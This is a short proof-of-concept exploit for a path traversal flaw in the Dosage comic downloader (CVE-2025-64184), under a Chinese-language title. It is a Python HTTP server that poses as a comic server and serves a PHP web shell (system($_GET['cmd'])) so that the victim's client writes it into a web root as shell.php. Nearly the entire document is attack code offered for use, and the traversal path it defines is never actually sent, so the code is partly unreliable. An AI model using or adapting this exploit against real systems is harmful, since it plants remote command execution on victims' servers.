CVE-2025-64184 Dosage路径遍历导致任意文件写入漏洞

#!/usr/bin/env python3 """ CVE-2025-64184 PoC - Malicious HTTP Server Simulates an attacker-controlled comic server that exploits the path traversal vulnerability in Dosage <= 3.1 """ from http.server import HTTPServer, BaseHTTPRequestHandler import os class ExploitHandler(BaseHTTPRequestHandler): def do_GET(self): # Malicious Content-Type header with executable extension # This tricks Dosage into saving files with .php extension content_type = "application/x-httpd-php" # Malicious PHP code to be written to the target file payload = b"<?php system($_GET['cmd']); ?>" # Directory traversal in filename (basename会被清理，但扩展名来自Content-Type) # Target: /var/www/html/shell.php malicious_url = "/comic/../../../../var/www/html/shell" self.send_response(200) self.send_header("Content-Type", content_type) self.send_header("Content-Length", str(len(payload))) self.end_headers() self.wfile.write(payload) print(f"[*] Sent malicious response:") print(f" Content-Type: {content_type}") print(f" Payload will be saved with .php extension") print(f" Target: {malicious_url}.php") def log_message(self, format, *args): print(f"[HTTP] {args[0]}") def main(): server = HTTPServer(('0.0.0.0', 8080), ExploitHandler) print("[*] CVE-2025-64184 Exploit Server") print("[*] Listening on port 8080...") print("[*] Wait for victim to download comic from this server") server.serve_forever() if __name__ == "__main__": main()